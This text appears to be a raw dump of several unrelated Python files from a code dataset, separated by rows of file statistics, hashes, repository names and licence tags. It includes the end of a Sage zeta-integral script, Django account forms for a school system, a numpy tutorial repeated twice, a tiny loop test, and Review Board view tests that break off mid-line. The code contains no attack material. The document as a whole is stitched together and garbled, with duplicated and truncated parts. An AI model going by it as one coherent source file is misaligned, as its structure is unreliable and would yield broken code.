1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_1_null = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_1_null = (1 - p**-1)**6*p**-3*p**-3 zed_1_null = sm_1_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-4, x4=p**-1, x5=p**-1) int_1_null = factor_1_null*zed_1_null # ------------------------------------------------------------------------------ # Case: 2 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_2_null = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_2_null = (1 - p**-1)**6*p**-1*p**-3 zed_2_null = sm_2_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-2, x4=p**-1, x5=p**-1) int_2_null = factor_2_null*zed_2_null # ------------------------------------------------------------------------------ # Case: 3 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_3_null = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_3_null = (1 - p**-1)**6*p**-3 zed_3_null = sm_3_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-1, x4=p**-1, x5=p**-1) int_3_null = factor_3_null*zed_3_null # ------------------------------------------------------------------------------ # Case: 4 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_4_null = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_4_null = (1 - p**-1)**6*(p - 3)*p**-3 zed_4_null = sm_4_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-1, x4=p**-1, x5=p**-1) int_4_null = factor_4_null*zed_4_null int_66_null = (int_1_null + int_2_null + int_3_null + int_4_null).simplify().factor().simplify()
45.245902
96
0.293569
1,540
11,040
1.992208
0.046104
0.255541
0.310952
0.323338
0.770535
0.764016
0.734355
0.721969
0.718709
0.541069
0
0.127926
0.291938
11,040
243
97
45.432099
0.264552
0.296467
0
0.618421
0
0
0.001662
0
0
0
0
0
0
1
0
false
0
0.019737
0
0.019737
0
0
0
1
null
1
1
1
0
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
03c7dd19278b73fdc9b2eb9992ed303afe3394fd
12,751
py
Python
account/forms.py
Mohsen7640/PicoSchool
69d8658111b27e843928f2458f9a7108ab8bd4e0
[ "Apache-2.0" ]
48
2022-02-05T10:07:33.000Z
2022-03-30T18:14:45.000Z
account/forms.py
Mohsen7640/PicoSchool
69d8658111b27e843928f2458f9a7108ab8bd4e0
[ "Apache-2.0" ]
2
2022-02-10T11:56:42.000Z
2022-02-16T13:27:26.000Z
account/forms.py
Mohsen7640/PicoSchool
69d8658111b27e843928f2458f9a7108ab8bd4e0
[ "Apache-2.0" ]
14
2022-02-05T13:46:17.000Z
2022-02-23T16:23:12.000Z
from django import forms from django.contrib.admin.views import autocomplete from django.contrib.admin.widgets import FilteredSelectMultiple from django.contrib.auth.hashers import make_password from .models import User widget_fields = { 'first_name': forms.TextInput( attrs={'placeholder': 'نام را وارد کنید'}), 'last_name': forms.TextInput( attrs={'placeholder': 'نام خانوادگی را وارد کنید'}), 'national_code': forms.TextInput( attrs={'placeholder': 'کد ملی را وارد کنید'}), 'phone': forms.TextInput( attrs={'placeholder': 'شماره تلفن را وارد کنید'}), 'home_phone': forms.TextInput( attrs={'placeholder': 'شماره منزل را وارد کنید'}), 'date_of_birth': forms.TextInput( attrs={'placeholder': 'تاریخ تولد را وارد کنید'}), 'father_name': forms.TextInput( attrs={'placeholder': 'نام پدر را وارد کنید'}), 'address': forms.Textarea( attrs={'placeholder': 'آدرس را وارد کنید'}), 'password': forms.PasswordInput(), } class CreateStudentUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(CreateStudentUserForm, self).__init__(*args, **kwargs) self.fields['parent'].queryset = User.objects.filter(is_active=True, is_parent=True) self.fields['parent'].required = True self.fields['grade'].required = True self.fields['date_of_birth'].required = True self.fields['father_name'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['student_class'].required = True class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'password', 'profile_img', 'student_class', 'parent', 'grade', 'major', 'is_student', 'is_parent', 'is_teacher' ) widget_fields['parent'] = forms.Select(attrs={"class": "selectInput"}) widgets = widget_fields def save(self, commit=True): user = super().save(commit=False) user.set_password(self.cleaned_data['password']) if commit: user.save() return user class UpdateStudentUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(UpdateStudentUserForm, self).__init__(*args, **kwargs) self.fields['parent'].queryset = User.objects.filter(is_active=True, is_parent=True) self.fields['parent'].required = True self.fields['grade'].required = True self.fields['date_of_birth'].required = True self.fields['father_name'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['student_class'].required = True class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'profile_img', 'student_class', 'parent', 'grade', 'major', 'is_student' ) widget_fields['parent'] = forms.Select(attrs={"class": "selectInput"}) widgets = widget_fields class CreateParentUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(CreateParentUserForm, self).__init__(*args, **kwargs) self.fields['date_of_birth'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['phone'].required = True self.fields['job'].required = True self.fields['education'].required = True self.fields['work_address'].required = False self.fields['work_phone'].required = False class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'password', 'profile_img', 'job', 'education', 'work_address', 'work_phone', 'is_parent' ) widget_fields['work_phone'] = forms.TextInput(attrs={'placeholder': 'شماره محل کار را وارد کنید'}) widget_fields['work_address'] = forms.Textarea(attrs={'placeholder': 'آدرس محل کار را وارد کنید'}) widget_fields['job'] = forms.TextInput(attrs={'placeholder': 'شغل را وارد کنید'}) widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'}) widgets = widget_fields def save(self, commit=True): user = super().save(commit=False) user.set_password(self.cleaned_data['password']) if commit: user.save() return user class UpdateParentUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(UpdateParentUserForm, self).__init__(*args, **kwargs) self.fields['date_of_birth'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['phone'].required = True self.fields['job'].required = True self.fields['education'].required = True self.fields['work_address'].required = False self.fields['work_phone'].required = False class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'profile_img', 'job', 'education', 'work_address', 'work_phone', 'is_parent' ) widget_fields['work_phone'] = forms.TextInput(attrs={'placeholder': 'شماره محل کار را وارد کنید'}) widget_fields['work_address'] = forms.Textarea(attrs={'placeholder': 'آدرس محل کار را وارد کنید'}) widget_fields['job'] = forms.TextInput(attrs={'placeholder': 'شغل را وارد کنید'}) widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'}) widgets = widget_fields class CreateTeacherUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(CreateTeacherUserForm, self).__init__(*args, **kwargs) self.fields['date_of_birth'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['phone'].required = True self.fields['education'].required = True self.fields['certificate_code'].required = True self.fields['university'].required = True self.fields['working_hours'].required = True self.fields['basic_salary'].required = True self.fields['single_or_married'].required = True self.fields['status'].required = True def clean_spouse_fullname(self): data = self.cleaned_data['spouse_fullname'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": spouse_fullname = self.cleaned_data['spouse_fullname'] if spouse_fullname is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data def clean_spouse_phone(self): data = self.cleaned_data['spouse_phone'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": spouse_phone = self.cleaned_data['spouse_phone'] if spouse_phone is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data def clean_child_num(self): data = self.cleaned_data['child_num'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": child_num = self.cleaned_data['child_num'] if child_num is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'password', 'profile_img', 'education', 'certificate_code', 'university', 'working_hours', 'basic_salary', 'single_or_married', 'child_num', 'spouse_fullname', 'spouse_phone', 'status', 'is_teacher', ) widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'}) widget_fields['certificate_code'] = forms.TextInput(attrs={'placeholder': 'شماره شناسنامه'}) widget_fields['university'] = forms.TextInput(attrs={'placeholder': 'دانشگاه محل تحصیل'}) widget_fields['working_hours'] = forms.NumberInput(attrs={'placeholder': 'تعداد ساعت های کار'}) widget_fields['basic_salary'] = forms.NumberInput(attrs={'placeholder': 'حقوق پایه'}) widget_fields['child_num'] = forms.NumberInput(attrs={'placeholder': 'تعداد فرزند'}) widget_fields['spouse_fullname'] = forms.TextInput(attrs={'placeholder': 'نام و نام خانوادگی همسر'}) widget_fields['spouse_phone'] = forms.TextInput(attrs={'placeholder': 'تلفن همسر'}) widgets = widget_fields def save(self, commit=True): user = super().save(commit=False) user.set_password(self.cleaned_data['password']) if commit: user.save() return user class UpdateTeacherUserForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(UpdateTeacherUserForm, self).__init__(*args, **kwargs) self.fields['date_of_birth'].required = True self.fields['first_name'].required = True self.fields['last_name'].required = True self.fields['home_phone'].required = True self.fields['phone'].required = True self.fields['education'].required = True self.fields['certificate_code'].required = True self.fields['university'].required = True self.fields['working_hours'].required = True self.fields['basic_salary'].required = True self.fields['single_or_married'].required = True self.fields['status'].required = True def clean_spouse_fullname(self): data = self.cleaned_data['spouse_fullname'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": spouse_fullname = self.cleaned_data['spouse_fullname'] if spouse_fullname is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data def clean_spouse_phone(self): data = self.cleaned_data['spouse_phone'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": spouse_phone = self.cleaned_data['spouse_phone'] if spouse_phone is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data def clean_child_num(self): data = self.cleaned_data['child_num'] single_or_married = self.cleaned_data.get('single_or_married') if single_or_married == "متاهل": child_num = self.cleaned_data['child_num'] if child_num is None: raise forms.ValidationError("این فیلد مورد نیاز است") return data class Meta: model = User fields = ( 'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name', 'address', 'profile_img', 'education', 'certificate_code', 'university', 'working_hours', 'basic_salary', 'single_or_married', 'child_num', 'spouse_fullname', 'spouse_phone', 'status', 'is_teacher', ) widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'}) widget_fields['certificate_code'] = forms.TextInput(attrs={'placeholder': 'شماره شناسنامه'}) widget_fields['university'] = forms.TextInput(attrs={'placeholder': 'دانشگاه محل تحصیل'}) widget_fields['working_hours'] = forms.NumberInput(attrs={'placeholder': 'تعداد ساعت های کار'}) widget_fields['basic_salary'] = forms.NumberInput(attrs={'placeholder': 'حقوق پایه'}) widget_fields['child_num'] = forms.NumberInput(attrs={'placeholder': 'تعداد فرزند'}) widget_fields['spouse_fullname'] = forms.TextInput(attrs={'placeholder': 'نام و نام خانوادگی همسر'}) widget_fields['spouse_phone'] = forms.TextInput(attrs={'placeholder': 'تلفن همسر'}) widgets = widget_fields
47.051661
113
0.641518
1,446
12,751
5.428077
0.091978
0.076443
0.092751
0.140145
0.912346
0.908014
0.878583
0.878583
0.848006
0.838578
0
0
0.223041
12,751
270
114
47.225926
0.792268
0
0
0.796681
0
0
0.262176
0
0
0
0
0
0
1
0.062241
false
0.033195
0.020747
0
0.170124
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
03ff4affb7e6de3fb9bd01b6c9456c24dde54402
1,060
py
Python
Stage A/2. Hamoye Numpy/convention for importing numpy.py
tripleaceme/Hamoye-Data-StoryTelling
fdc7dedeb102def50086e0ca26d19de28a79c30a
[ "MIT" ]
null
null
null
Stage A/2. Hamoye Numpy/convention for importing numpy.py
tripleaceme/Hamoye-Data-StoryTelling
fdc7dedeb102def50086e0ca26d19de28a79c30a
[ "MIT" ]
null
null
null
Stage A/2. Hamoye Numpy/convention for importing numpy.py
tripleaceme/Hamoye-Data-StoryTelling
fdc7dedeb102def50086e0ca26d19de28a79c30a
[ "MIT" ]
null
null
null
# convention for importing numpy import numpy as np arr = [6, 7, 8, 9] print(type(arr)) # prints <class 'list'> a = np.array(arr) print(type(a)) # prints <class 'numpy.ndarray'> print(a.shape) # prints (4,) - a is a 1d array with 4 items print(a.dtype) # prints int64 # get the dimension of a with ndim print(a.ndim) # prints 1 b = np.array([[1, 2, 3], [4, 5, 6]]) print(b) # prints [[1 2 3] [4 5 6]] print(b.ndim) # prints 2 b.shape # prints (2, 3) - b a 2d array with 2 rows and 3 columns import numpy as np arr = [6, 7, 8, 9] print(type(arr)) # prints <class 'list'> a = np.array(arr) print(type(a)) # prints <class 'numpy.ndarray'> print(a.shape) # prints (4,) - a is a 1d array with 4 items print(a.dtype) # prints int64 # get the dimension of a with ndim print(a.ndim) # prints 1 b = np.array([[1, 2, 3], [4, 5, 6]]) print(b) # prints [[1 2 3] [4 5 6]] print(b.ndim) # prints 2 b.shape # prints (2, 3) - b a 2d array with 2 rows and 3 columns
28.648649
76
0.570755
192
1,060
3.151042
0.21875
0.059504
0.019835
0.026446
0.955372
0.955372
0.955372
0.955372
0.955372
0.955372
0
0.073107
0.277358
1,060
37
77
28.648649
0.71671
0
0
1
0
0
0
0
0
0
0
0
0
0
null
null
0
0.076923
null
null
0.538462
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
9
207f13359eb4f92f65ea549fd1ca75c04bafc24f
69
py
Python
python/testData/console/indent3.after.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2019-04-28T07:48:50.000Z
2020-12-11T14:18:08.000Z
python/testData/console/indent3.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/console/indent3.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
for i in range(1, 10): print i for i in range(1, 10): print i
17.25
22
0.57971
16
69
2.5
0.4375
0.2
0.3
0.55
1
1
1
1
0
0
0
0.125
0.304348
69
4
23
17.25
0.708333
0
0
1
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0.5
1
0
0
null
0
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
11
20a95ea3363f731685ab5c1233857fe37e74fa93
61,025
py
Python
reviewboard/reviews/tests/test_views.py
jeyaprabum/Reviewboard
fe4dc611ef961b12b6991a74faa24a22d393fb4a
[ "MIT" ]
1
2019-08-20T03:39:04.000Z
2019-08-20T03:39:04.000Z
reviewboard/reviews/tests/test_views.py
jeyaprabum/Reviewboard
fe4dc611ef961b12b6991a74faa24a22d393fb4a
[ "MIT" ]
1
2019-08-20T03:39:45.000Z
2019-08-20T03:39:45.000Z
reviewboard/reviews/tests/test_views.py
jeyaprabum/Reviewboard
fe4dc611ef961b12b6991a74faa24a22d393fb4a
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from datetime import timedelta from django.contrib.auth.models import User from django.core.urlresolvers import reverse from djblets.siteconfig.models import SiteConfiguration from djblets.testing.decorators import add_fixtures from reviewboard.extensions.tests import TestService from reviewboard.hostingsvcs.service import (register_hosting_service, unregister_hosting_service) from reviewboard.hostingsvcs.models import HostingServiceAccount from reviewboard.reviews.models import (Comment, GeneralComment, Review) from reviewboard.site.urlresolvers import local_site_reverse from reviewboard.testing import TestCase class ViewTests(TestCase): """Tests for views in reviewboard.reviews.views.""" fixtures = ['test_users', 'test_scmtools', 'test_site'] def setUp(self): super(ViewTests, self).setUp() self.siteconfig = SiteConfiguration.objects.get_current() self.siteconfig.set('auth_require_sitewide_login', False) self.siteconfig.save() def test_review_detail_redirect_no_slash(self): """Testing review_detail view redirecting with no trailing slash""" response = self.client.get('/r/1') self.assertEqual(response.status_code, 301) def test_review_detail(self): """Testing review_detail view""" review_request = self.create_review_request(publish=True) response = self.client.get('/r/%d/' % review_request.id) self.assertEqual(response.status_code, 200) request = self._get_context_var(response, 'review_request') self.assertEqual(request.pk, review_request.pk) def test_review_detail_context(self): """Testing review_detail view's context""" # Make sure this request is made while logged in, to catch the # login-only pieces of the review_detail view. self.client.login(username='admin', password='admin') username = 'admin' summary = 'This is a test summary' description = 'This is my description' testing_done = 'Some testing' review_request = self.create_review_request( publish=True, submitter=username, summary=summary, description=description, testing_done=testing_done) response = self.client.get('/r/%s/' % review_request.pk) self.assertEqual(response.status_code, 200) request = self._get_context_var(response, 'review_request') self.assertEqual(request.submitter.username, username) self.assertEqual(request.summary, summary) self.assertEqual(request.description, description) self.assertEqual(request.testing_done, testing_done) self.assertEqual(request.pk, review_request.pk) def test_review_detail_diff_comment_ordering(self): """Testing review_detail and ordering of diff comments on a review""" comment_text_1 = 'Comment text 1' comment_text_2 = 'Comment text 2' comment_text_3 = 'Comment text 3' review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) # Create the users who will be commenting. user1 = User.objects.get(username='doc') user2 = User.objects.get(username='dopey') # Create the master review. main_review = self.create_review(review_request, user=user1) main_comment = self.create_diff_comment(main_review, filediff, text=comment_text_1) main_review.publish() # First reply reply1 = self.create_reply( main_review, user=user1, timestamp=(main_review.timestamp + timedelta(days=1))) self.create_diff_comment(reply1, filediff, text=comment_text_2, reply_to=main_comment) # Second reply reply2 = self.create_reply( main_review, user=user2, timestamp=(main_review.timestamp + timedelta(days=2))) self.create_diff_comment(reply2, filediff, text=comment_text_3, reply_to=main_comment) # Publish them out of order. reply2.publish() reply1.publish() # Make sure they published in the order expected. self.assertTrue(reply1.timestamp > reply2.timestamp) # Make sure they're looked up in the order expected. comments = list( Comment.objects .filter(review__review_request=review_request) .order_by('timestamp') ) self.assertEqual(len(comments), 3) self.assertEqual(comments[0].text, comment_text_1) self.assertEqual(comments[1].text, comment_text_3) self.assertEqual(comments[2].text, comment_text_2) # Now figure out the order on the page. response = self.client.get('/r/%d/' % review_request.pk) self.assertEqual(response.status_code, 200) entries = response.context['entries'] self.assertEqual(len(entries), 1) entry = entries[0] comments = entry.comments['diff_comments'] self.assertEqual(len(comments), 1) self.assertEqual(comments[0].text, comment_text_1) replies = comments[0].public_replies() self.assertEqual(len(replies), 2) self.assertEqual(replies[0].text, comment_text_3) self.assertEqual(replies[1].text, comment_text_2) def test_review_detail_general_comment_ordering(self): """Testing review_detail and ordering of general comments on a review """ comment_text_1 = 'Comment text 1' comment_text_2 = 'Comment text 2' comment_text_3 = 'Comment text 3' review_request = self.create_review_request(create_repository=True, publish=True) # Create the users who will be commenting. user1 = User.objects.get(username='doc') user2 = User.objects.get(username='dopey') # Create the master review. main_review = self.create_review(review_request, user=user1) main_comment = self.create_general_comment(main_review, text=comment_text_1) main_review.publish() # First reply reply1 = self.create_reply( main_review, user=user1, timestamp=(main_review.timestamp + timedelta(days=1))) self.create_general_comment(reply1, text=comment_text_2, reply_to=main_comment) # Second reply reply2 = self.create_reply( main_review, user=user2, timestamp=(main_review.timestamp + timedelta(days=2))) self.create_general_comment(reply2, text=comment_text_3, reply_to=main_comment) # Publish them out of order. reply2.publish() reply1.publish() # Make sure they published in the order expected. self.assertTrue(reply1.timestamp > reply2.timestamp) # Make sure they're looked up in the order expected. comments = list( GeneralComment.objects .filter(review__review_request=review_request) .order_by('timestamp') ) self.assertEqual(len(comments), 3) self.assertEqual(comments[0].text, comment_text_1) self.assertEqual(comments[1].text, comment_text_3) self.assertEqual(comments[2].text, comment_text_2) def test_review_detail_file_attachment_visibility(self): """Testing visibility of file attachments on review requests""" caption_1 = 'File Attachment 1' caption_2 = 'File Attachment 2' caption_3 = 'File Attachment 3' comment_text_1 = 'Comment text 1' comment_text_2 = 'Comment text 2' user1 = User.objects.get(username='doc') review_request = self.create_review_request() # Add two file attachments. One active, one inactive. file1 = self.create_file_attachment(review_request, caption=caption_1) file2 = self.create_file_attachment(review_request, caption=caption_2, active=False) review_request.publish(user1) # Create a third file attachment on a draft. self.create_file_attachment(review_request, caption=caption_3, draft=True) # Create the review with comments for each screenshot. review = Review.objects.create(review_request=review_request, user=user1) review.file_attachment_comments.create(file_attachment=file1, text=comment_text_1) review.file_attachment_comments.create(file_attachment=file2, text=comment_text_2) review.publish() # Check that we can find all the objects we expect on the page. self.client.login(username='doc', password='doc') response = self.client.get('/r/%d/' % review_request.pk) self.assertEqual(response.status_code, 200) file_attachments = response.context['file_attachments'] self.assertEqual(len(file_attachments), 2) self.assertEqual(file_attachments[0].caption, caption_1) self.assertEqual(file_attachments[1].caption, caption_3) # Make sure that other users won't see the draft one. self.client.logout() response = self.client.get('/r/%d/' % review_request.pk) self.assertEqual(response.status_code, 200) file_attachments = response.context['file_attachments'] self.assertEqual(len(file_attachments), 1) self.assertEqual(file_attachments[0].caption, caption_1) # Make sure we loaded the reviews and all data correctly. entries = response.context['entries'] self.assertEqual(len(entries), 1) entry = entries[0] comments = entry.comments['file_attachment_comments'] self.assertEqual(len(comments), 2) self.assertEqual(comments[0].text, comment_text_1) self.assertEqual(comments[1].text, comment_text_2) def test_review_detail_screenshot_visibility(self): """Testing visibility of screenshots on review requests""" caption_1 = 'Screenshot 1' caption_2 = 'Screenshot 2' caption_3 = 'Screenshot 3' comment_text_1 = 'Comment text 1' comment_text_2 = 'Comment text 2' user1 = User.objects.get(username='doc') review_request = self.create_review_request() # Add two screenshots. One active, one inactive. screenshot1 = self.create_screenshot(review_request, caption=caption_1) screenshot2 = self.create_screenshot(review_request, caption=caption_2, active=False) review_request.publish(user1) # Add a third screenshot on a draft. self.create_screenshot(review_request, caption=caption_3, draft=True) # Create the review with comments for each screenshot. user1 = User.objects.get(username='doc') review = Review.objects.create(review_request=review_request, user=user1) review.screenshot_comments.create(screenshot=screenshot1, text=comment_text_1, x=10, y=10, w=20, h=20) review.screenshot_comments.create(screenshot=screenshot2, text=comment_text_2, x=0, y=0, w=10, h=10) review.publish() # Check that we can find all the objects we expect on the page. self.client.login(username='doc', password='doc') response = self.client.get('/r/%d/' % review_request.pk) self.assertEqual(response.status_code, 200) screenshots = response.context['screenshots'] self.assertEqual(len(screenshots), 2) self.assertEqual(screenshots[0].caption, caption_1) self.assertEqual(screenshots[1].caption, caption_3) # Make sure that other users won't see the draft one. self.client.logout() response = self.client.get('/r/%d/' % review_request.pk) self.assertEqual(response.status_code, 200) screenshots = response.context['screenshots'] self.assertEqual(len(screenshots), 1) self.assertEqual(screenshots[0].caption, caption_1) entries = response.context['entries'] self.assertEqual(len(entries), 1) entry = entries[0] # Make sure we loaded the reviews and all data correctly. comments = entry.comments['screenshot_comments'] self.assertEqual(len(comments), 2) self.assertEqual(comments[0].text, comment_text_1) self.assertEqual(comments[1].text, comment_text_2) def test_review_detail_sitewide_login(self): """Testing review_detail view with site-wide login enabled""" self.siteconfig.set('auth_require_sitewide_login', True) self.siteconfig.save() self.create_review_request(publish=True) response = self.client.get('/r/1/') self.assertEqual(response.status_code, 302) def test_new_review_request(self): """Testing new_review_request view""" response = self.client.get('/r/new') self.assertEqual(response.status_code, 301) response = self.client.get('/r/new/') self.assertEqual(response.status_code, 302) self.client.login(username='grumpy', password='grumpy') response = self.client.get('/r/new/') self.assertEqual(response.status_code, 200) # Bug 892 def test_interdiff(self): """Testing the diff viewer with interdiffs""" review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request, revision=1) self.create_filediff( diffset, source_file='/diffutils.py', dest_file='/diffutils.py', source_revision='6bba278', dest_detail='465d217', diff=( b'diff --git a/diffutils.py b/diffutils.py\n' b'index 6bba278..465d217 100644\n' b'--- a/diffutils.py\n' b'+++ b/diffutils.py\n' b'@@ -1,3 +1,4 @@\n' b'+# diffutils.py\n' b' import fnmatch\n' b' import os\n' b' import re\n' )) self.create_filediff( diffset, source_file='/readme', dest_file='/readme', source_revision='d6613f5', dest_detail='5b50866', diff=( b'diff --git a/readme b/readme\n' b'index d6613f5..5b50866 100644\n' b'--- a/readme\n' b'+++ b/readme\n' b'@@ -1 +1,3 @@\n' b' Hello there\n' b'+\n' b'+Oh hi!\n' )) self.create_filediff( diffset, source_file='/newfile', dest_file='/newfile', source_revision='PRE-CREATION', dest_detail='', diff=( b'diff --git a/new_file b/new_file\n' b'new file mode 100644\n' b'index 0000000..ac30bd3\n' b'--- /dev/null\n' b'+++ b/new_file\n' b'@@ -0,0 +1 @@\n' b'+This is a new file!\n' )) diffset = self.create_diffset(review_request, revision=2) self.create_filediff( diffset, source_file='/diffutils.py', dest_file='/diffutils.py', source_revision='6bba278', dest_detail='465d217', diff=( b'diff --git a/diffutils.py b/diffutils.py\n' b'index 6bba278..465d217 100644\n' b'--- a/diffutils.py\n' b'+++ b/diffutils.py\n' b'@@ -1,3 +1,4 @@\n' b'+# diffutils.py\n' b' import fnmatch\n' b' import os\n' b' import re\n' )) self.create_filediff( diffset, source_file='/readme', dest_file='/readme', source_revision='d6613f5', dest_detail='5b50867', diff=( b'diff --git a/readme b/readme\n' b'index d6613f5..5b50867 100644\n' b'--- a/readme\n' b'+++ b/readme\n' b'@@ -1 +1,3 @@\n' b' Hello there\n' b'+----------\n' b'+Oh hi!\n' )) self.create_filediff( diffset, source_file='/newfile', dest_file='/newfile', source_revision='PRE-CREATION', dest_detail='', diff=( b'diff --git a/new_file b/new_file\n' b'new file mode 100644\n' b'index 0000000..ac30bd4\n' b'--- /dev/null\n' b'+++ b/new_file\n' b'@@ -0,0 +1 @@\n' b'+This is a diffent version of this new file!\n' )) response = self.client.get('/r/1/diff/1-2/') # Useful for debugging any actual errors here. if response.status_code != 200: print('Error: %s' % self._get_context_var(response, 'error')) print(self._get_context_var(response, 'trace')) self.assertEqual(response.status_code, 200) self.assertEqual( self._get_context_var(response, 'diff_context')['num_diffs'], 2) files = self._get_context_var(response, 'files') self.assertTrue(files) self.assertEqual(len(files), 2) self.assertEqual(files[0]['depot_filename'], '/newfile') self.assertIn('interfilediff', files[0]) self.assertEqual(files[1]['depot_filename'], '/readme') self.assertIn('interfilediff', files[1]) # Bug 847 def test_interdiff_new_file(self): """Testing the diff viewer with interdiffs containing new files""" review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request, revision=1) self.create_filediff( diffset, source_file='/diffutils.py', dest_file='/diffutils.py', source_revision='6bba278', dest_detail='465d217', diff=( b'diff --git a/diffutils.py b/diffutils.py\n' b'index 6bba278..465d217 100644\n' b'--- a/diffutils.py\n' b'+++ b/diffutils.py\n' b'@@ -1,3 +1,4 @@\n' b'+# diffutils.py\n' b' import fnmatch\n' b' import os\n' b' import re\n' )) diffset = self.create_diffset(review_request, revision=2) self.create_filediff( diffset, source_file='/diffutils.py', dest_file='/diffutils.py', source_revision='6bba278', dest_detail='465d217', diff=( b'diff --git a/diffutils.py b/diffutils.py\n' b'index 6bba278..465d217 100644\n' b'--- a/diffutils.py\n' b'+++ b/diffutils.py\n' b'@@ -1,3 +1,4 @@\n' b'+# diffutils.py\n' b' import fnmatch\n' b' import os\n' b' import re\n' )) self.create_filediff( diffset, source_file='/newfile', dest_file='/newfile', source_revision='PRE-CREATION', dest_detail='', diff=( b'diff --git a/new_file b/new_file\n' b'new file mode 100644\n' b'index 0000000..ac30bd4\n' b'--- /dev/null\n' b'+++ b/new_file\n' b'@@ -0,0 +1 @@\n' b'+This is a diffent version of this new file!\n' )) response = self.client.get('/r/1/diff/1-2/') # Useful for debugging any actual errors here. if response.status_code != 200: print('Error: %s' % 